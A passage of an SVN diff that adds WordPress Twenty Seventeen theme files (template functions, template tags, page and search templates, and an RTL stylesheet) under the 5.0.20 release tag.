+	return apply_filters( 'twentyseventeen_social_links_icons', $social_links_icons );
+}
Index: /tags/5.0.20/src/wp-content/themes/twentyseventeen/inc/template-functions.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyseventeen/inc/template-functions.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyseventeen/inc/template-functions.php	(revision 56912)
@@ -0,0 +1,102 @@
+<?php
+/**
+ * Additional features to allow styling of the templates
+ *
+ * @package WordPress
+ * @subpackage Twenty_Seventeen
+ * @since 1.0
+ */
+
+/**
+ * Adds custom classes to the array of body classes.
+ *
+ * @param array $classes Classes for the body element.
+ * @return array
+ */
+function twentyseventeen_body_classes( $classes ) {
+	// Add class of group-blog to blogs with more than 1 published author.
+	if ( is_multi_author() ) {
+		$classes[] = 'group-blog';
+	}
+
+	// Add class of hfeed to non-singular pages.
+	if ( ! is_singular() ) {
+		$classes[] = 'hfeed';
+	}
+
+	// Add class if we're viewing the Customizer for easier styling of theme options.
+	if ( is_customize_preview() ) {
+		$classes[] = 'twentyseventeen-customizer';
+	}
+
+	// Add class on front page.
+	if ( is_front_page() && 'posts' !== get_option( 'show_on_front' ) ) {
+		$classes[] = 'twentyseventeen-front-page';
+	}
+
+	// Add a class if there is a custom header.
+	if ( has_header_image() ) {
+		$classes[] = 'has-header-image';
+	}
+
+	// Add class if sidebar is used.
+	if ( is_active_sidebar( 'sidebar-1' ) && ! is_page() ) {
+		$classes[] = 'has-sidebar';
+	}
+
+	// Add class for one or two column page layouts.
+	if ( is_page() || is_archive() ) {
+		if ( 'one-column' === get_theme_mod( 'page_layout' ) ) {
+			$classes[] = 'page-one-column';
+		} else {
+			$classes[] = 'page-two-column';
+		}
+	}
+
+	// Add class if the site title and tagline is hidden.
+	if ( 'blank' === get_header_textcolor() ) {
+		$classes[] = 'title-tagline-hidden';
+	}
+
+	// Get the colorscheme or the default if there isn't one.
+	$colors = twentyseventeen_sanitize_colorscheme( get_theme_mod( 'colorscheme', 'light' ) );
+	$classes[] = 'colors-' . $colors;
+
+	return $classes;
+}
+add_filter( 'body_class', 'twentyseventeen_body_classes' );
+
+/**
+ * Count our number of active panels.
+ *
+ * Primarily used to see if we have any panels active, duh.
+ */
+function twentyseventeen_panel_count() {
+
+	$panel_count = 0;
+
+	/**
+	 * Filter number of front page sections in Twenty Seventeen.
+	 *
+	 * @since Twenty Seventeen 1.0
+	 *
+	 * @param int $num_sections Number of front page sections.
+	 */
+	$num_sections = apply_filters( 'twentyseventeen_front_page_sections', 4 );
+
+	// Create a setting and control for each of the sections available in the theme.
+	for ( $i = 1; $i < ( 1 + $num_sections ); $i++ ) {
+		if ( get_theme_mod( 'panel_' . $i ) ) {
+			$panel_count++;
+		}
+	}
+
+	return $panel_count;
+}
+
+/**
+ * Checks to see if we're on the homepage or not.
+ */
+function twentyseventeen_is_frontpage() {
+	return ( is_front_page() && ! is_home() );
+}
Index: /tags/5.0.20/src/wp-content/themes/twentyseventeen/inc/template-tags.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyseventeen/inc/template-tags.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyseventeen/inc/template-tags.php	(revision 56912)
@@ -0,0 +1,197 @@
+<?php
+/**
+ * Custom template tags for this theme
+ *
+ * Eventually, some of the functionality here could be replaced by core features.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Seventeen
+ * @since 1.0
+ */
+
+if ( ! function_exists( 'twentyseventeen_posted_on' ) ) :
+/**
+ * Prints HTML with meta information for the current post-date/time and author.
+ */
+function twentyseventeen_posted_on() {
+
+	// Get the author name; wrap it in a link.
+	$byline = sprintf(
+		/* translators: %s: post author */
+		__( 'by %s', 'twentyseventeen' ),
+		'<span class="author vcard"><a class="url fn n" href="' . esc_url( get_author_posts_url( get_the_author_meta( 'ID' ) ) ) . '">' . get_the_author() . '</a></span>'
+	);
+
+	// Finally, let's write all of this to the page.
+	echo '<span class="posted-on">' . twentyseventeen_time_link() . '</span><span class="byline"> ' . $byline . '</span>';
+}
+endif;
+
+
+if ( ! function_exists( 'twentyseventeen_time_link' ) ) :
+/**
+ * Gets a nicely formatted string for the published date.
+ */
+function twentyseventeen_time_link() {
+	$time_string = '<time class="entry-date published updated" datetime="%1$s">%2$s</time>';
+	if ( get_the_time( 'U' ) !== get_the_modified_time( 'U' ) ) {
+		$time_string = '<time class="entry-date published" datetime="%1$s">%2$s</time><time class="updated" datetime="%3$s">%4$s</time>';
+	}
+
+	$time_string = sprintf( $time_string,
+		get_the_date( DATE_W3C ),
+		get_the_date(),
+		get_the_modified_date( DATE_W3C ),
+		get_the_modified_date()
+	);
+
+	// Wrap the time string in a link, and preface it with 'Posted on'.
+	return sprintf(
+		/* translators: %s: post date */
+		__( '<span class="screen-reader-text">Posted on</span> %s', 'twentyseventeen' ),
+		'<a href="' . esc_url( get_permalink() ) . '" rel="bookmark">' . $time_string . '</a>'
+	);
+}
+endif;
+
+
+if ( ! function_exists( 'twentyseventeen_entry_footer' ) ) :
+/**
+ * Prints HTML with meta information for the categories, tags and comments.
+ */
+function twentyseventeen_entry_footer() {
+
+	/* translators: used between list items, there is a space after the comma */
+	$separate_meta = __( ', ', 'twentyseventeen' );
+
+	// Get Categories for posts.
+	$categories_list = get_the_category_list( $separate_meta );
+
+	// Get Tags for posts.
+	$tags_list = get_the_tag_list( '', $separate_meta );
+
+	// We don't want to output .entry-footer if it will be empty, so make sure its not.
+	if ( ( ( twentyseventeen_categorized_blog() && $categories_list ) || $tags_list ) || get_edit_post_link() ) {
+
+		echo '<footer class="entry-footer">';
+
+			if ( 'post' === get_post_type() ) {
+				if ( ( $categories_list && twentyseventeen_categorized_blog() ) || $tags_list ) {
+					echo '<span class="cat-tags-links">';
+
+						// Make sure there's more than one category before displaying.
+						if ( $categories_list && twentyseventeen_categorized_blog() ) {
+							echo '<span class="cat-links">' . twentyseventeen_get_svg( array( 'icon' => 'folder-open' ) ) . '<span class="screen-reader-text">' . __( 'Categories', 'twentyseventeen' ) . '</span>' . $categories_list . '</span>';
+						}
+
+						if ( $tags_list && ! is_wp_error( $tags_list ) ) {
+							echo '<span class="tags-links">' . twentyseventeen_get_svg( array( 'icon' => 'hashtag' ) ) . '<span class="screen-reader-text">' . __( 'Tags', 'twentyseventeen' ) . '</span>' . $tags_list . '</span>';
+						}
+
+					echo '</span>';
+				}
+			}
+
+			twentyseventeen_edit_link();
+
+		echo '</footer> <!-- .entry-footer -->';
+	}
+}
+endif;
+
+
+if ( ! function_exists( 'twentyseventeen_edit_link' ) ) :
+/**
+ * Returns an accessibility-friendly link to edit a post or page.
+ *
+ * This also gives us a little context about what exactly we're editing
+ * (post or page?) so that users understand a bit more where they are in terms
+ * of the template hierarchy and their content. Helpful when/if the single-page
+ * layout with multiple posts/pages shown gets confusing.
+ */
+function twentyseventeen_edit_link() {
+	edit_post_link(
+		sprintf(
+			/* translators: %s: Name of current post */
+			__( 'Edit<span class="screen-reader-text"> "%s"</span>', 'twentyseventeen' ),
+			get_the_title()
+		),
+		'<span class="edit-link">',
+		'</span>'
+	);
+}
+endif;
+
+/**
+ * Display a front page section.
+ *
+ * @param WP_Customize_Partial $partial Partial associated with a selective refresh request.
+ * @param integer              $id Front page section to display.
+ */
+function twentyseventeen_front_page_section( $partial = null, $id = 0 ) {
+	if ( is_a( $partial, 'WP_Customize_Partial' ) ) {
+		// Find out the id and set it up during a selective refresh.
+		global $twentyseventeencounter;
+		$id = str_replace( 'panel_', '', $partial->id );
+		$twentyseventeencounter = $id;
+	}
+
+	global $post; // Modify the global post object before setting up post data.
+	if ( get_theme_mod( 'panel_' . $id ) ) {
+		$post = get_post( get_theme_mod( 'panel_' . $id ) );
+		setup_postdata( $post );
+		set_query_var( 'panel', $id );
+
+		get_template_part( 'template-parts/page/content', 'front-page-panels' );
+
+		wp_reset_postdata();
+	} elseif ( is_customize_preview() ) {
+		// The output placeholder anchor.
+		echo '<article class="panel-placeholder panel twentyseventeen-panel twentyseventeen-panel' . $id . '" id="panel' . $id . '"><span class="twentyseventeen-panel-title">' . sprintf( __( 'Front Page Section %1$s Placeholder', 'twentyseventeen' ), $id ) . '</span></article>';
+	}
+}
+
+/**
+ * Returns true if a blog has more than 1 category.
+ *
+ * @return bool
+ */
+function twentyseventeen_categorized_blog() {
+	$category_count = get_transient( 'twentyseventeen_categories' );
+
+	if ( false === $category_count ) {
+		// Create an array of all the categories that are attached to posts.
+		$categories = get_categories( array(
+			'fields'     => 'ids',
+			'hide_empty' => 1,
+			// We only need to know if there is more than one category.
+			'number'     => 2,
+		) );
+
+		// Count the number of categories that are attached to the posts.
+		$category_count = count( $categories );
+
+		set_transient( 'twentyseventeen_categories', $category_count );
+	}
+
+	// Allow viewing case of 0 or 1 categories in post preview.
+	if ( is_preview() ) {
+		return true;
+	}
+
+	return $category_count > 1;
+}
+
+
+/**
+ * Flush out the transients used in twentyseventeen_categorized_blog.
+ */
+function twentyseventeen_category_transient_flusher() {
+	if ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) {
+		return;
+	}
+	// Like, beat it. Dig?
+	delete_transient( 'twentyseventeen_categories' );
+}
+add_action( 'edit_category', 'twentyseventeen_category_transient_flusher' );
+add_action( 'save_post',     'twentyseventeen_category_transient_flusher' );
Index: /tags/5.0.20/src/wp-content/themes/twentyseventeen/index.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyseventeen/index.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyseventeen/index.php	(revision 56912)
@@ -0,0 +1,67 @@
+<?php
+/**
+ * The main template file
+ *
+ * This is the most generic template file in a WordPress theme
+ * and one of the two required files for a theme (the other being style.css).
+ * It is used to display a page when nothing more specific matches a query.
+ * E.g., it puts together the home page when no home.php file exists.
+ *
+ * @link https://codex.wordpress.org/Template_Hierarchy
+ *
+ * @package WordPress
+ * @subpackage Twenty_Seventeen
+ * @since 1.0
+ * @version 1.0
+ */
+
+get_header(); ?>
+
+<div class="wrap">
+	<?php if ( is_home() && ! is_front_page() ) : ?>
+		<header class="page-header">
+			<h1 class="page-title"><?php single_post_title(); ?></h1>
+		</header>
+	<?php else : ?>
+	<header class="page-header">
+		<h2 class="page-title"><?php _e( 'Posts', 'twentyseventeen' ); ?></h2>
+	</header>
+	<?php endif; ?>
+
+	<div id="primary" class="content-area">
+		<main id="main" class="site-main" role="main">
+
+			<?php
+			if ( have_posts() ) :
+
+				/* Start the Loop */
+				while ( have_posts() ) : the_post();
+
+					/*
+					 * Include the Post-Format-specific template for the content.
+					 * If you want to override this in a child theme, then include a file
+					 * called content-___.php (where ___ is the Post Format name) and that will be used instead.
+					 */
+					get_template_part( 'template-parts/post/content', get_post_format() );
+
+				endwhile;
+
+				the_posts_pagination( array(
+					'prev_text' => twentyseventeen_get_svg( array( 'icon' => 'arrow-left' ) ) . '<span class="screen-reader-text">' . __( 'Previous page', 'twentyseventeen' ) . '</span>',
+					'next_text' => '<span class="screen-reader-text">' . __( 'Next page', 'twentyseventeen' ) . '</span>' . twentyseventeen_get_svg( array( 'icon' => 'arrow-right' ) ),
+					'before_page_number' => '<span class="meta-nav screen-reader-text">' . __( 'Page', 'twentyseventeen' ) . ' </span>',
+				) );
+
+			else :
+
+				get_template_part( 'template-parts/post/content', 'none' );
+
+			endif;
+			?>
+
+		</main><!-- #main -->
+	</div><!-- #primary -->
+	<?php get_sidebar(); ?>
+</div><!-- .wrap -->
+
+<?php get_footer();
Index: /tags/5.0.20/src/wp-content/themes/twentyseventeen/page.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyseventeen/page.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyseventeen/page.php	(revision 56912)
@@ -0,0 +1,41 @@
+<?php
+/**
+ * The template for displaying all pages
+ *
+ * This is the template that displays all pages by default.
+ * Please note that this is the WordPress construct of pages
+ * and that other 'pages' on your WordPress site may use a
+ * different template.
+ *
+ * @link https://codex.wordpress.org/Template_Hierarchy
+ *
+ * @package WordPress
+ * @subpackage Twenty_Seventeen
+ * @since 1.0
+ * @version 1.0
+ */
+
+get_header(); ?>
+
+<div class="wrap">
+	<div id="primary" class="content-area">
+		<main id="main" class="site-main" role="main">
+
+			<?php
+			while ( have_posts() ) : the_post();
+
+				get_template_part( 'template-parts/page/content', 'page' );
+
+				// If comments are open or we have at least one comment, load up the comment template.
+				if ( comments_open() || get_comments_number() ) :
+					comments_template();
+				endif;
+
+			endwhile; // End of the loop.
+			?>
+
+		</main><!-- #main -->
+	</div><!-- #primary -->
+</div><!-- .wrap -->
+
+<?php get_footer();
Index: /tags/5.0.20/src/wp-content/themes/twentyseventeen/rtl.css
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyseventeen/rtl.css	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyseventeen/rtl.css	(revision 56912)
@@ -0,0 +1,556 @@
+/*
+Theme Name: Twenty Seventeen
+
+Adding support for languages written in a Right To Left (RTL) direction is easy,
+it's just a matter of overwriting all the horizontal positioning attributes
+of your CSS stylesheet in a separate stylesheet file named rtl.css.
+
+https://codex.wordpress.org/Right-to-Left_Language_Support
+
+*/
+
+/* Reset */
+
+body {
+	direction: rtl;
+	unicode-bidi: embed;
+}
+
+th {
+	text-align: right;
+}
+
+/* Accessibility */
+
+.screen-reader-text:focus {
+	left: auto;
+	right: 5px;
+}
+
+/* Typography */
+
+textarea {
+	padding-right: 3px;
+}
+
+li > ul,
+li > ol {
+	margin-left: 0;
+	margin-right: 1.5em;
+}
+
+th:first-child,
+td:first-child {
+	padding-left: 0.4em;
+	padding-right: 0;
+}
+
+th:last-child,
+td:last-child {
+	padding-left: 0;
+	padding-right: 0.4em;
+}
+
+/* Forms */
+
+input[type="radio"],
+input[type="checkbox"] {
+	margin-left: 0.5em;
+	margin-right: 0;
+}
+
+/* Media */
+
+.mejs-offscreen {
+	right: -10000px;
+}
+
+/* Site Branding */
+
+.custom-logo-link {
+	padding-left: 1em;
+	padding-right: 0;
+}
+
+/* Main Navigation */
+
+.main-navigation ul {
+	text-align: right;
+}
+
+.main-navigation ul ul {
+	padding-left: 0;
+	padding-right: 1.5em;
+}
+
+.menu-toggle .icon {
+	margin-left: 0.5em;
+	margin-right: 0;
+}
+
+.dropdown-toggle {
+	left: -0.5em;
+	right: auto;
+}
+
+/* Front Page */
+
+.wp-custom-header-video-button {
+	left: 30px;
+	right: auto;
+}
+
+.twentyseventeen-panel .recent-posts .entry-header .edit-link {
+	margin-left: 0;
+	margin-right: 1em;
+}
+
+/* Blog, Archive, Search */
+
+.blog .entry-meta a.post-edit-link,
+.archive .entry-meta a.post-edit-link,
+.search .entry-meta a.post-edit-link {
+	margin-left: 0;
+	margin-right: 1em;
+}
+
+.search .page .entry-meta a.post-edit-link {
+	margin-right: 0;
+}
+
+.sticky .icon-thumb-tack {
+	left: auto;
+	right: -1.5em;
+}
+
+.prev.page-numbers .icon,
+.next.page-numbers .icon {
+	display: inline-block;
+	-ms-transform: rotate(180deg); /* IE 9 */
+	-webkit-transform: rotate(180deg); /* Chrome, Safari, Opera */
+	transform: rotate(180deg);
+}
+
+.prev.page-numbers {
+	float: right;
+}
+
+.next.page-numbers {
+	float: left;
+}
+
+.nav-links .nav-previous .nav-title .nav-title-icon-wrapper {
+	margin-left: 0.5em;
+	margin-right: 0;
+}
+
+.nav-links .nav-next .nav-title .nav-title-icon-wrapper {
+	margin-left: 0;
+	margin-right: 0.5em;
+}
+
+/* Blog Entries */
+
+.entry-footer .cat-links,
+.entry-footer .tags-links {
+	padding-left: 0;
+	padding-right: 2.5em;
+}
+
+.entry-footer .cat-links .icon,
+.entry-footer .tags-links .icon {
+	left: auto;
+	margin-left: 0.5em;
+	margin-right: 0;
+	right: 0;
+}
+
+/* Comments */
+
+.comment-body {
+	margin-left: 0;
+	margin-right: 65px;
+}
+
+.comment-reply-link .icon {
+	left: auto;
+	right: -2em;
+	-webkit-transform: scale(-1, 1);
+	-ms-transform: scale(-1, 1);
+	transform: scale(-1, 1);
+}
+
+.comment-author .avatar {
+	left: auto;
+	right: -65px;
+}
+
+.comment-reply-link:before {
+	left: auto;
+	right: -2em;
+}
+
+.children .comment-author .avatar {
+	left: auto;
+	right: -45px;
+}
+
+.form-submit {
+	text-align: left;
+}
+
+.comment-form #wp-comment-cookies-consent {
+	margin: 0 0 0 10px;
+}
+
+/* Post Formats */
+
+.format-quote blockquote .icon {
+	left: auto;
+	right: -1.25em;
+	-webkit-transform: none;
+	-ms-transform: none;
+	transform: none;
+}
+
+/* Post Navigation */
+
+.nav-links .nav-previous .nav-title .nav-title-icon-wrapper,
+.nav-links .nav-next .nav-title .nav-title-icon-wrapper {
+	display: inline-block;
+	-ms-transform: rotate(180deg); /* IE 9 */
+	-webkit-transform: rotate(180deg); /* Chrome, Safari, Opera */
+	transform: rotate(180deg);
+}
+
+/* Widgets */
+
+.widget ul {
+	margin: 0;
+}
+
+.search-form .search-submit {
+	left: 3px;
+	right: auto;
+}
+
+.tagcloud ul li {
+	float: right;
+	margin: 4px 0 0 4px;
+}
+
+.widget ul li li {
+	padding-left: 0;
+	padding-right: 1.5rem;
+}
+
+.widget_text ul {
+	margin: 0 1.5em 1.5em 0;
+}
+
+.widget_text ul li ul {
+	margin: 0 1.5em 0 0;
+}
+
+/* Footer */
+
+.social-navigation a {
+	margin-left: 1em;
+	margin-right: 0;
+}
+
+/* Customizer styles */
+
+.twentyseventeen-customizer.twentyseventeen-front-page .twentyseventeen-panel .twentyseventeen-panel-title {
+	left: 3.2em;
+	right: auto;
+}
+
+/* Gallery Styles */
+
+.gallery-item,
+.gallery-caption {
+	text-align: right;
+}
+
+/* SVG Fallback */
+
+.no-svg .dropdown-toggle {
+	left: 0;
+	right: auto;
+}
+
+/* Media queries */
+
+@media screen and (min-width: 48em) {
+
+	body.page-template-full-width-page #primary {
+		float: none;
+	}
+
+	.has-sidebar:not(.error404) #primary {
+		float: right;
+	}
+
+	.has-sidebar #secondary {
+		float: left;
+	}
+
+	.error404 #primary {
+		float: none;
+	}
+
+	/* Site Branding */
+
+	.custom-logo-link {
+		padding-left: 2em;
+		padding-right: 0;
+	}
+
+	/* Navigation */
+
+	.main-navigation ul ul {
+		padding-right: 0;
+	}
+
+	.main-navigation ul ul:before,
+	.main-navigation ul ul:after {
+		left: 0.5em;
+		right: auto;
+	}
+
+	.main-navigation ul ul,
+	.main-navigation ul ul ul {
+		left: auto;
+		right: -999em;
+	}
+
+	.main-navigation ul ul li:hover > ul,
+	.main-navigation ul ul li.focus > ul {
+		left: auto;
+		right: 100%;
+	}
+
+	.main-navigation ul li:hover > ul,
+	.main-navigation ul li.focus > ul {
+		left: auto;
+		right: 0.5em;
+	}
+
+	.main-navigation ul li.menu-item-has-children:before,
+	.main-navigation ul li.menu-item-has-children:after,
+	.main-navigation ul li.page_item_has_children:before,
+	.main-navigation ul li.page_item_has_children:after {
+		left: 1em;
+		right: auto;
+	}
+
+	.main-navigation .menu-item-has-children > a > .icon,
+	.main-navigation .page_item_has_children > a > .icon {
+		left: auto;
+		right: 5px;
+	}
+
+	.main-navigation ul ul .menu-item-has-children > a > .icon,
+	.main-navigation ul ul .page_item_has_children > a > .icon {
+		left: 1em;
+		right: auto;
+		-webkit-transform: rotate(90deg);
+		-ms-transform: rotate(90deg);
+		transform: rotate(90deg);
+	}
+
+	/* Scroll down arrow */
+
+	.navigation-top .menu-scroll-down {
+		left: 0;
+		right: auto;
+	}
+
+	.site-header .menu-scroll-down {
+		left: 0;
+		right: auto;
+	}
+
+	.entry-title a {
+		margin-left: auto;
+		margin-right: -2px;
+	}
+
+	/* Front Page */
+
+	.page-two-column .panel-content .entry-header {
+		float: right;
+	}
+
+	.page-two-column .panel-content .entry-content {
+		float: left;
+	}
+
+	/* Front Page - Recent Posts */
+
+	.page-two-column .panel-content .recent-posts {
+		clear: left;
+		float: left;
+	}
+
+	/* Blog, Archive, Search */
+
+	.sticky .icon-thumb-tack {
+		left: auto;
+		right: -2.5em;
+	}
+
+	body:not(.has-sidebar):not(.page-one-column) .page-header,
+	body.has-sidebar.error404 #primary .page-header,
+	body.page-two-column:not(.archive) #primary .entry-header,
+	body.page-two-column.archive:not(.has-sidebar) #primary .page-header {
+		float: right;
+	}
+
+	.blog:not(.has-sidebar) #primary article,
+	.archive:not(.has-sidebar):not(.page-one-column) #primary article,
+	.search:not(.has-sidebar) #primary article,
+	.has-sidebar.error404 #primary .page-content,
+	.error404.has-sidebar #primary .page-content,
+	body.page-two-column:not(.archive) #primary .entry-content,
+	body.page-two-column #comments {
+		float: left;
+	}
+
+	.entry-footer .edit-link a.post-edit-link {
+		margin-left: 0;
+		margin-right: 1em;
+	}
+
+	/* Entry content */
+
+	/* with sidebar */
+
+	.has-sidebar .entry-content blockquote.alignleft {
+		margin-left: 0;
+		width: 34%;
+	}
+
+	.has-sidebar #primary .entry-content blockquote.alignright,
+	.has-sidebar #primary .entry-content blockquote.alignright.below-entry-meta {
+		margin-right: 0;
+		width: 34%;
+	}
+
+	.has-sidebar #primary .entry-content blockquote.alignleft.below-entry-meta {
+		margin-left: -72.5%;
+		width: 62%;
+	}
+
+	/* blog index and archive */
+
+	.blog:not(.has-sidebar) .entry-content blockquote.alignleft,
+	.twentyseventeen-front-page.page-two-column .entry-content blockquote.alignleft,
+	.archive:not(.has-sidebar) .entry-content blockquote.alignleft,
+	.page-two-column .entry-content blockquote.alignleft {
+		margin-left: 0;
+		width: 34%;
+	}
+
+	.blog:not(.has-sidebar) .entry-content blockquote.alignright,
+	.twentyseventeen-front-page.page-two-column #primary .entry-content blockquote.alignright,
+	.archive:not(.has-sidebar) .entry-content blockquote.alignright,
+	.page-two-column #primary .entry-content blockquote.alignright {
+		margin-right: -72.5%;
+		width: 62%;
+	}
+
+	/* Post formats */
+
+	.format-quote blockquote .icon {
+		left: auto;
+		right: -1.5em;
+	}
+
+	.navigation.pagination {
+		float: left;
+	}
+
+	.has-sidebar .navigation.pagination,
+	.archive.page-one-column:not(.has-sidebar) .navigation.pagination {
+		float: none;
+	}
+
+	.post-navigation .nav-previous {
+		float: right;
+	}
+
+	.post-navigation .nav-next {
+		float: left;
+		text-align: left;
+	}
+
+	/* Comments */
+
+	ol.children .children {
+		padding-left: 0;
+		padding-right: 2em;
+	}
+
+	/* Post Navigation */
+
+	.nav-links .nav-previous .nav-title .nav-title-icon-wrapper {
+		left: auto;
+		right: -2em;
+	}
+
+	.nav-links .nav-next .nav-title .nav-title-icon-wrapper {
+		left: -2em;
+		right: auto;
+	}
+
+	/* Footer */
+
+	.site-footer .widget-column.footer-widget-1 {
+		float: right;
+	}
+
+	.site-footer .widget-column.footer-widget-2 {
+		float: left;
+	}
+
+	.social-navigation {
+		clear: right;
+		float: right;
+	}
+
+	.site-info {
+		float: right;
+	}
+
+	.social-navigation + .site-info {
+		margin-left: 0;
+		margin-right: 6%;
+	}
+}
+
+@media screen and (min-width: 67em) {
+
+	/* Sticky posts */
+
+	.sticky .icon-thumb-tack {
+		left: auto;
+		right: -1.25em;
+	}
+}
+
+@media screen and (min-width: 79em) {
+
+	.has-sidebar #primary .entry-content blockquote.alignright,
+	.has-sidebar #primary .entry-content blockquote.alignright.below-entry-meta {
+		margin-right: -20%;
+	}
+
+	.blog:not(.has-sidebar) .entry-content blockquote.alignleft,
+	.archive:not(.has-sidebar) .entry-content blockquote.alignleft,
+	.page-two-column .entry-content blockquote.alignleft,
+	.twentyseventeen-front-page .entry-content blockquote.alignleft {
+		margin-left: -20%;
+	}
+}
Index: /tags/5.0.20/src/wp-content/themes/twentyseventeen/search.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyseventeen/search.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyseventeen/search.php	(revision 56912)
@@ -0,0 +1,62 @@
+<?php
+/**
+ * The template for displaying search results pages
+ *
+ * @link https://developer.wordpress.org/themes/basics/template-hierarchy/#search-result
+ *
+ * @package WordPress
+ * @subpackage Twenty_Seventeen
+ * @since 1.0
+ * @version 1.0
+ */
+
+get_header(); ?>
+
+<div class="wrap">
+
+	<header class="page-header">
+		<?php if ( have_posts() ) : ?>
+			<h1 class="page-title"><?php printf( __( 'Search Results for: %s', 'twentyseventeen' ), '<span>' . get_search_query() . '</span>' ); ?></h1>
+		<?php else : ?>
+			<h1 class="page-title"><?php _e( 'Nothing Found', 'twentyseventeen' ); ?></h1>
+		<?php endif; ?>
+	</header><!-- .page-header -->
+
+	<div id="primary" class="content-area">
+		<main id="main" class="site-main" role="main">
+
+		<?php
+		if ( have_posts() ) :
+			/* Start the Loop */
+			while ( have_posts() ) : the_post();
+
+				/**
+				 * Run the loop for the search to output the results.
+				 * If you want to overload this in a child theme then include a file
+				 * called content-search.php and that will be used instead.
+				 */
+				get_template_part( 'template-parts/post/content', 'excerpt' );
+
+			endwhile; // End of the loop.
+
+			the_posts_pagination( array(
+				'prev_text' => twentyseventeen_get_svg( array( 'icon' => 'arrow-left' ) ) . '<span class="screen-reader-text">' . __( 'Previous page', 'twentyseventeen' ) . '</span>',
+				'next_text' => '<span class="screen-reader-text">' . __( 'Next page', 'twentyseventeen' ) . '</span>' . twentyseventeen_get_svg( array( 'icon' => 'arrow-right' ) ),
+				'before_page_number' => '<span class="meta-nav screen-reader-text">' . __( 'Page', 'twentyseventeen' ) . ' </span>',
+			) );
+
+		else : ?>
+
+			<p><?php _e( 'Sorry, but nothing matched your search terms. Please try again with some different keywords.', 'twentyseventeen' ); ?></p>
+			<?php
+				get_search_form();
+
+		endif;
+		?>
+
+		</main><!-- #main -->
+	</div><!-- #primary -->
+	<?php get_sidebar(); ?>
+</div><!-- .wrap -->
+
+<?php get_footer();
Index: /tags/5.0.20/src/wp-content/themes/twentyseventeen/searchform.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyseventeen/searchform.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyseventeen/searchform.php	(revision 56912)
@@ -0,0 +1,21 @@
+<?php
+/**
+ * Template for displaying search forms in Twenty Seventeen
+ *
+ * @package WordPress
+ * @subpackage Twenty_Seventeen
+ * @since 1.0
+ * @version 1.0
+ */
+
+?>
+
+<?php $unique_id = esc_attr( twentyseventeen_unique_id( 'search-form-' ) ); ?>
+
+<form role="search" method="get" class="search-form" action="<?php echo esc_url( home_url( '/' ) ); ?>">
+	<label for="<?php echo $unique_id; ?>">
+		<span class="screen-reader-text"><?php echo _x( 'Search for:', 'label', 'twentyseventeen' ); ?></span>
+	</label>
+	<input type="search" id="<?php echo $unique_id; ?>" class="search-field" placeholder="<?php echo esc_attr_x( 'Search &hellip;', 'placeholder', 'twentyseventeen' ); ?>" value="<?php echo get_search_query(); ?>" name="s" />
+	<button type="submit" class="search-submit"><?php echo twentyseventeen_get_svg( array( 'icon' => 'search' ) ); ?><span class="screen-reader-text"><?php echo _x( 'Search', 'submit button', 'twentyseventeen' ); ?></span></button>
+</form>
Index: /tags/5.0.20/src/wp-content/themes/twentyseventeen/sidebar.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyseventeen/sidebar.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyseventeen/sidebar.php	(revision 56912)
@@ -0,0 +1,20 @@
+<?php
+/**
+ * The sidebar containing the main widget area
+ *
+ * @link https://developer.wordpress.org/themes/basics/template-files/#template-partials
+ *
+ * @package WordPress
+ * @subpackage Twenty_Seventeen
+ * @since 1.0
+ * @version 1.0
+ */
+
+if ( ! is_active_sidebar( 'sidebar-1' ) ) {
+	return;
+}
+?>
+
+<aside id="secondary" class="widget-area" role="complementary" aria-label="<?php esc_attr_e( 'Blog Sidebar', 'twentyseventeen' ); ?>">
+	<?php dynamic_sidebar( 'sidebar-1' ); ?>
+</aside><!-- #secondary -->
Index: /tags/5.0.20/src/wp-content/themes/twentyseventeen/single.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyseventeen/single.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyseventeen/single.php	(revision 56912)
@@ -0,0 +1,43 @@
+<?php
+/**
+ * The template for displaying all single posts
+ *
+ * @link https://developer.wordpress.org/themes/basics/template-hierarchy/#single-post
+ *
+ * @package WordPress
+ * @subpackage Twenty_Seventeen
+ * @since 1.0
+ * @version 1.0
+ */
+
+get_header(); ?>
+
+<div class="wrap">
+	<div id="primary" class="content-area">
+		<main id="main" class="site-main" role="main">
+
+			<?php
+			/* Start the Loop */
+			while ( have_posts() ) : the_post();
+
+				get_template_part( 'template-parts/post/content', get_post_format() );
+
+				// If comments are open or we have at least one comment, load up the comment template.
+				if ( comments_open() || get_comments_number() ) :
+					comments_template();
+				endif;
+
+				the_post_navigation( array(
+					'prev_text' => '<span class="screen-reader-text">' . __( 'Previous Post', 'twentyseventeen' ) . '</span><span aria-hidden="true" class="nav-subtitle">' . __( 'Previous', 'twentyseventeen' ) . '</span> <span class="nav-title"><span class="nav-title-icon-wrapper">' . twentyseventeen_get_svg( array( 'icon' => 'arrow-left' ) ) . '</span>%title</span>',
+					'next_text' => '<span class="screen-reader-text">' . __( 'Next Post', 'twentyseventeen' ) . '</span><span aria-hidden="true" class="nav-subtitle">' . __( 'Next', 'twentyseventeen' ) . '</span> <span class="nav-title">%title<span class="nav-title-icon-wrapper">' . twentyseventeen_get_svg( array( 'icon' => 'arrow-right' ) ) . '</span></span>',
+				) );
+
+			endwhile; // End of the loop.
+			?>
+
+		</main><!-- #main -->
+	</div><!-- #primary -->
+	<?php get_sidebar(); ?>
+</div><!-- .wrap -->
+
+<?php get_footer();
Index: /tags/5.0.20/src/wp-content/themes/twentyseventeen/style.css
===================================================================
